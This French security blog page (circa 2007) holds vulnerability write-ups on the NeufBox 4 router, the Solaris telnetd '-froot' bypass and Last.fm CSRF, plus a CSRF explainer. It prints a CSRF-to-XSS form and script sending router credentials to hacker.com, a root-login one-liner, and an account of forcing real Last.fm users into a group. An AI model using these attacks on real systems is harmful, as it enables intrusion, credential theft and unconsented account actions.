Nicolas SURRIBAS

Sécurité Informatique / Capture The Flag / Développement / Réseaux / PenTest

failles

La sécurité de la NeufBox 4

Rédigé par devloop - -

NB: Cet article date de septembre 2007. La sécurité de la NeufBox s'est fortement amélioré depuis et l'accès à l'interface nécessite un mot de passe.

Je me suis intéressé à la sécurité de la NeufBox 4 ces derniers temps, je vous fait part de mes découvertes.

Welcome
Une fois le modem/routeur branché et configuré (saisie des identifiants de connexion), différents voyants s'allument en fonction des services auxquels vous avez souscrit et des périphériques que vous avez branché. Mais force est de constater que par défaut le voyant WiFi s'allume.
Le WiFi est actif et un hotspot accueille gentiment les "utilisateurs de la communauté Neuf et FON". Il y a fort à parier que cet accès intéressera aussi certains "pirates de l'air".
Pour désactiver tout ça, il faut se rendre sur l'interface d'administration (192.168.1.1), dans la section Wifi puis Hotspot et Wifi (si vos PCs ne sont pas reliés par WiFi).
Si vous voulez voir à quoi ressemble l'interface d'administration de la NeufBox 4, vous pouvez visiter le site http://antoniop.free.fr/nb4/ qui a recréé l'interface.

Pas de mot de passe
Ce qui surprend le plus en accédant à l'interface web de la NeufBox, c'est l'absence d'une demande d'identifiants. Les modems ont généralement un compte par défaut du type admin/admin ou admin/password. Des mots de passe par défaut que l'on devine facilement, mais avec la possibilité d'en changer.
Cette absence de protection est très génante, dans un environnement multi-utilisateurs chacun pouvant jouer avec les règles NAT pour y faire passer son MSN et faire tourner son client P2P au nez et à la barbe de l'administrateur, même si on voit difficilement une entreprise utiliser ce type d'équipement (mais on ne sait jamais...)
Est-il possible d'activer une protection par mot de passe ? Une page cachée dans l'interface laisse supposer que oui. En fait c'est possible techniquement parlant. Il faut que les équipes de Neuf le mettent en place, mais ils peuvent le faire. (je trouve ça fort, on dirait du Pierre Dac ou du Laspales/Chevallier... c'est vous qui voyez !)

Cross-site request forgery
L'absence de mot de passe à saisir pour accèder à la partie administration fait de la NeufBox 4, une cible de choix pour les attaques par Cross-site request forgery.
A l'aide d'une page web malicieuse, il est possible de vous faire changer la configuration de votre modem sans que vous ne vous en rendiez compte.
Il est alors possibe de réactiver un hotspot désactivé, changer la clé et le type de chiffrement WiFi ou encore ajouter des entrées NAT pour accèder à des services potentiellement vulnérables sur votre machine (le DHCP activé par défaut donne toujours les mêmes adresses).

Des protections Javascript seulement
On peut entrer à peu près tout ce qu'on le veut dans l'interface web de la NB4. Les seules protections se basent sur le HTML et le Javascript (donc côté client).
Par exemple pour rajouter des règles NAT, il faut saisir l'adresse IP répartie en 4 cases de texte (voir ici). Les trois premières cases sont protégées en écriture par HTML (attribut readonly="readonly") mais en modifiant la requête HTTP (par exemple à l'aide de l'extension Firefox TamperData) on peut y mettre n'importe quelle adresse IP.
Heureusement dans le cas du NAT ça finit par bloquer quelque part (sans doute lors du passage en règle iptables) sans quoi il aurait été possible de transformer les NeufBox en proxies.

XSS et lecture de données
La NB4 est victime de quelques failles XSS. La plus simple à exploiter est sans doute celle qui touche le service FTP, plus précisément l'ajout d'un compte utilisateur. La encore les seules protections sont le HTML (champs de taille limités) et le Javascript (vérification des caractères utilisés).
L'injection de Javascript dans le champ "Nom d'utilisateur" ou "Mot de passe" résulte en un XSS permanent.

Avec le CSRF (Cross-Site Request Forgery), on ne peut qu'envoyer des données vers la NeufBox mais on ne peut pas en lire. Avec AJAX il est possible d'envoyer des requêtes et de lire le résultat mais les restrictions d'AJAX empèchent la communication d'un domaine à un autre.

La faille XSS permet de bypasser cette protection puisque le Javascript est injecté dans la page et exécuté comme s'il provenait de la NeufBox elle même.
Je me suis attardé sur cette faille et je suis parvenu à créer un code qui récupère les identifiants de connexion de la NeufBox (ceux-ci sont enregistrés et restent présent dans le code de la page WAN) pour les soumettre ensuite vers un site extérieur.

Je ne vous donne pas l'intégralité du code pour des raisons évidentes, mais n'importe quel développeur AJAX est en mesure de le faire (en une après-midi c'était torché, sachant que je n'avais jamais vraiment fait de l'AJAX auparavant, juste quelques codes de test).

On a un code qui se charge du CSRF, c'est seulement un formulaire qui s'"auto-submit" :
<form method="post" action="http://192.168.1.1/5_1" id="inject">
<input type="hidden" name="ftpd_user" value="<script src='http://hacker.com/payload.js'></script>"/>
<input type="hidden" name="ftpd_password" value="hacked"/>
<input type="hidden" name="action" value="add" />
<input type="hidden" name="row" value="1" />
</form>
<script language="Javascript">
document.getElementById("inject").submit();
</script>

Le script injecté (payload.js) effectue les opérations suivantes :
  • Envoie une requête pour accèder à la page WAN
  • Extrait les informations de connexion
  • Charge dynamiquement dans la structure DOM un script pour l'envoi des identifiants
  • Supprime l'entrée ajoutée dans la page du service FTP où se trouve le code Javascript

var req = false;
var obj=null;
if(window.XMLHttpRequest)
{
  req=new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
  req=new ActiveXObject("Microsoft.XMLHTTP");
}
req.open("GET","/2_1");
req.onreadystatechange=function()
{
  if(req.readyState==4 && req.status==200)
  {
    // code retire : extraction des données d'indentification
    var script = document.createElement('script');
    script.src = "http://hacker.com/insert.php?login="+escape(login)+"&password="+escape(password);
    script.type = 'text/javascript';
    document.body.appendChild(script);

    if(window.XMLHttpRequest)
    {
      req=new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
      req=new ActiveXObject("Microsoft.XMLHTTP");
    }
    // code retire : suppression des traces de l'attaque
  }
}
req.send(null);

J'ai testé le script en local et il a fonctionné avec succès sous Internet Explorer 7, Opera 9.50 (dernière pré-release de Kestrel en date) et Firefox 2.0.0.5.
Par contre ne me demandez pas à quoi peut bien servir de récupérer les infos de connexion... puisqu'il faut un abonnement (donc il faut forcément payer) pour les utiliser. Mais l'objectif était seulement de montrer les possibilités données par le mélange CSRF et XSS.
Tout ça aurait pu être évité si un mot de passe était demandé par l'interface. On peut bien-sûr envoyer des informations d'authentification par AJAX (paramêtres supplémentaires de open()) et dans un formulaire HTML (url de la forme http://login:password@192.168.1.1/) mais les navigateurs donnent un avertissement (cette forme d'url a été massivement utilisée pour les attaques de phishing).
Le mieux est d'avoir la possibilité de changer le mot de passe de l'interface mais à l'heure actuelle rien n'est possible.
Notez toutefois que l'utilisation de l'extension NoScript sous Firefox permet de bloquer le CSRF.

J'ai aussi testé l'injection de commandes Unix dans certains champs web mais je n'ai rien trouvé de probant (je n'ai pas trop poussé non plus).

Références :
W3C : XMLHttpRequest
Using POST method in XMLHTTPRequest
HTTP Authentication with HTML Forms
Cross-Domain Ajax Insecurity
MySpace Worm explanation

Classé dans : Non classé - Mots clés : failles

Bypass de l'authentification sous le démon Telnet de Solaris

Rédigé par devloop - -

NB : L'article a été initialement rédigé en février 2007. Une vulnérabilité pour le moins importante a été découverte dans le système d'authentification de SunOs 5.10/5.11.
Même si la faille est recensée comme étant imputable au service in.telnetd, le programme login a son importance dans l'exploitation de la vulnérabilité.

Pour cette vulnérabilité, aucune injection de code ou technique d'exploitation avancée n'est nécessaire. Il suffit juste d'avoir recours à une astuce.

Le serveur telnet ne gère pas l'authentification, il exécute le programme login avec plus ou moins d'arguments.
login a une option -f apparemment non documentée (pas dans la manpage) qui permet de se logger sur le système sans avoir à saisir de mot de passe. Typiquement cette option peut-être utilisée quand l'utilisateur est déjà connecté sur le système.
Une restriction supplémentaire a été mise en place telle qu'expliquée dans le code source : "Must be root to bypass authentification."

Le service telnet fonctionne avec les droits root par conséquent il a la posibilité de bypasser cette authentification, seulement l'option '-f' n'est pas utilisée par défaut. MAIS telnet appelle le binaire login à l'aide de la fonction execl avec comme 8ième argument un beau getenv("USER").

Reste alors à trouver comment fixer le contenu de la variable d'environnement USER à "-f". Et là inutile de chercher bien loin, tout est dans la page de manuel de telnet :

-l user

When connecting to a remote system that understands the ENVIRON option,
then user will be sent to the remote system as the value for the ENVIRON variable USER.


Par conséquent, il ne reste qu'à se connecter sur une machine Solaris de la façon suivante :
telnet -l "-froot" <ip>

pour se connecter en tant que root sans avoir à saisir de mot de passe... ce qui est assez génant ou très hospitalier (tout dépend de quel côté on se place).

En attendant que Solaris propose un patch qui ajoutera des vérifications supplémentaires sur le contenu de la variable d'environnement USER, la solution temporaire consiste à stopper le service Telnet ou à le remplacer par quelques chose de mieux (ssh)
Solaris 10 s'en tire pas trop mal sur le coup puisqu'il semble qu'une règle supplémentaire empèche root de se connecter depuis autre chose que la console (voir ici)... seulement ce n'est pas difficile de trouver des comptes existants sur le système (bin, daemon, sys...)

Le login de Mac OS X a une option -f qui suit les même règles (manquerait plus qu'ils aient aussi pompé le code du telnetd, ça pourrait être drôle) alors que sous Linux cette option n'est pas bien claire.

Comme quoi même après des années de développement, une bonne dose de documents sur la programmation sécurisée et du code source vu et revu, on n'est pas à l'abri de laisser passer une faille de sécurité stupide... l'erreur est humaine. On en a vu de bonnes chez Apple récemment.

Une faille similaire avait déjà été découverte en 1994 dans rlogin !!

Classé dans : Non classé - Mots clés : failles

Last.fm vulnérable au CSRF

Rédigé par devloop - -

Dans le billet précédent je vous ai parlé des attaques par cross-site request forgery.
J'émettais aussi l'hypothèse selon laquelle une telle attaque a déjà eu lieu sur Last.fm en me basant sur le fait que je sois dans un groupe spécial pour lequel je ne me suis jamais inscrit.
Au lieu de retrouver l'éventuelle page responsable de mon admission forcée à ce groupe, j'ai préféré créer un nouveau groupe baptisé CSRF et tenter de trouver une technique enrolant de force les utilisateurs dans ce groupe.

Pour s'inscrire dans un groupe, la méthode naturelle consiste à se rendre sur la page du groupe (http://www.last.fm/group/CSRF) puis à cliquer sur "Join this group" qui nous renvoie sur la page http://www.last.fm/group/CSRF/join/.
La toute dernière étape consiste à valider l'inscription en cliquant sur le bouton "Click to join group" qui pointe vers l'adresse http://www.last.fm/group/CSRF/join/?confirm=yes.

A première vue, l'attaque consiste à faire en sorte que les visiteurs se rendent sur cette dernière url. Mais Last.fm a mis en place une protection anti-CSRF qui empèche les utilisateurs de s'inscrire à l'aveugle dans un groupe.
Si l'on renvoie les utilisateurs sur l'url, il leur est redemandé de cliquer sur le bouton, pointant cette fois vers http://www.last.fm/group/CSRF/join/?confirm=apply.

Dans le sens inverse, si on les dirige d'abord vers http://www.last.fm/group/CSRF/join/?confirm=apply, on leur demandera une validation vers http://www.last.fm/group/CSRF/join/?confirm=yes.

La solution consiste à faire en sorte que les utilisateurs se rendent sur ces deux pages dans un laps de temps assez court (probablement pour qu'il n'y ait pas de requêtes intermédiaires entre ces deux pages).
Il ne reste alors plus qu'à faire en sorte que les utilisateurs se rendent sur ces deux pages. Pour cela j'ai crée une news contenant deux balises img pointant vers les urls.
Ensuite j'ai fait en sorte que cette news soit vue dans différents groupes (linux, programmers, anti-emo, rancid...).
Il ne restait plus qu'à attendre que des visiteurs lisent ces news pour remplir le groupe.

Classé dans : Non classé - Mots clés : failles

Les attaques par Cross-site request forgery

Rédigé par devloop - -

Dans le monde de la sécurité informatique il y a parfois des vulnérabilités et des concepts tellements évidents que l'on en parle pas et on passe à côté. Jusqu'à ce qu'un petit malin trouve une formule qui en jette pour décrire ce concept (au hazard "Compromis temps-mémoire") et alors ça devient la ruée vers l'or.
C'est le cas des attaques par Cross-Site Request Forgery (CSRF ou encore XSRF).

Il faut avouer que la formule est bien longue pour un principe pour le moins simple : inciter un internaute à cliquer ou se rendre sur une page donnée pour qu'une tâche spécifique soit effectuée par son intermédiaire sur un site Internet.
L'exemple le plus simple est celui des scripts de déconnexion présents sur les forums, les webmails, et autre plate-formes communautaires.
Généralement ces scripts ne font rien pour vérifier que l'utilisateur a suivi une procédure dans les règles pour se déconnecter. Ainsi un membre d'un forum fictif pourrait poster un message de la forme :
[url=http://exemple.com/forum/logout.php]La bande anonce du dernier James Bond[/url]

Provoquant la déconnexion des autres membres pensant cliquer sur un lien vers une bande annonce.
Si l'attaquant est encore plus sournois il peut par exemple donner l'url du script de connexion comme adresse pour son avatar. Ainsi à chaque lecture d'une discussion à laquelle il a participé, les utilisateurs se voient déconnectés.
Dans des cas particuliers il doit même être possible de déconnecter les utilisateurs dès leur connexion, provoquant ainsi un déni de service.

Un cas réel a été trouvé il y a 2 mois sur Google. Techniquement il s'agit juste d'une page qui redirige le visiteur vers http://www.google.com/setprefs?hl=ga (à quelques paramêtres près) changeant ainsi la langue dans laquelle Google s'affiche.
Même si le résultat est plus une plaisanterie qu'une attaque malveillante, elle montre tout de même l'étendue des possibilitées.

On pourrait forcer les utilisateurs à effacer leurs messages sur un webmail, s'inscrire dans un groupe sur last.fm (expérience vécue... mais je n'ai pas déterminé à quel moment et par quelle page ça a eu lieu) ou encore les forcer à acheter la discographie complète de Richard Gotainer sur eBay.

Ce qui différencie un CSRF d'un simple lien, c'est le résultat obtenu : l'altération ou l'insertion de données sur le site Internet visé ou dans le navigateur de l'internaute.
Dans le cas de Google, la victime n'a pas à possèder un compte Gmail pour que l'attaque fonctionne : les données altérées sont les préférences enregistrées dans un cookie.
Une exploitation réussie sur un forum IPB vulnérable pourrait forcer l'administrateur du forum à augmenter les droits d'un membre.

On peut faire en sorte qu'un internaute se rende sur une page... mais peut-on faire en sorte qu'il remplisse un formulaire et clique sur le bouton "Envoyer" ?
En fait ce n'est pas beaucoup plus difficile : il faut créer une page avec un form et des champs cachés (input type=hidden) et des valeurs pré-renseignées. Avec les CSS on peut très facilement faire apparaître le bouton comme étant un lien ou encore une image cliquable.
Si on ne souhaite pas attendre que l'utilisateur appuie sur le bouton, on peut automatiser l'envoi des données en utilisant la fonction submit() du langage Javascript.

Que peut-on faire finalement pour se protéger de telles attaques ?
Premièrement durcir les règles de session sur le site : empècher par exemple la reconnexion automatique (redemander à chaque fois le login et le mot de passe). Les utilisateurs risquent de ne pas apprécier et en aucun cas ça ne bloque les attaques (ça peut éventuellement réduire le nombre d'attaques réussies).

Faire des vérifications sur le référant (l'adresse de la page d'où ont été envoyées les données). La majorité des navigateurs envoient un référant. Une minorité ne l'envoie pas pour des raisons de vie privée. On peut par exemple accepter les données quand le référant est valide ou vide et refuser les données provenant d'un site extérieur.
Malheureusement les redirections HTTP (comme utilisées pour l'exemple avec Google) ne transmettent pas ce référant.

Compter sur le navigateur pour détecter de telles attaques serait illusoire (tous n'intégreront pas ces protections et ce serait le jeu du chat et de la souris avec les pirates).

Utiliser un système de captcha pour valider chaque envoie de données...

En fait la seule solution qui semble efficace est de passer dans les urls générées par le site un nombre aléatoire, stocké dans une base de données ou enregistré dans un cookie. L'attaquant ne pouvant déterminer ce nombre aléatoire, il ne pourra pas générer des urls valides.
Bien sûr il faut que ce nombre aléatoire soit pris dans un intervalle assez grand pour que les chances qu'il trouve un couple nombre/victime valide soit infime.
Il faut aussi compter sur les utilisateurs pour ne pas divulger ce nombre aléatoire. C'est pour ça que certaines personnes préfèrent passer cette valeur par POST (champ caché dans un formulaire) que par GET (url).

Quoiqu'il en soit on n'est pas sorti de l'auberge.

Classé dans : Non classé - Mots clés : failles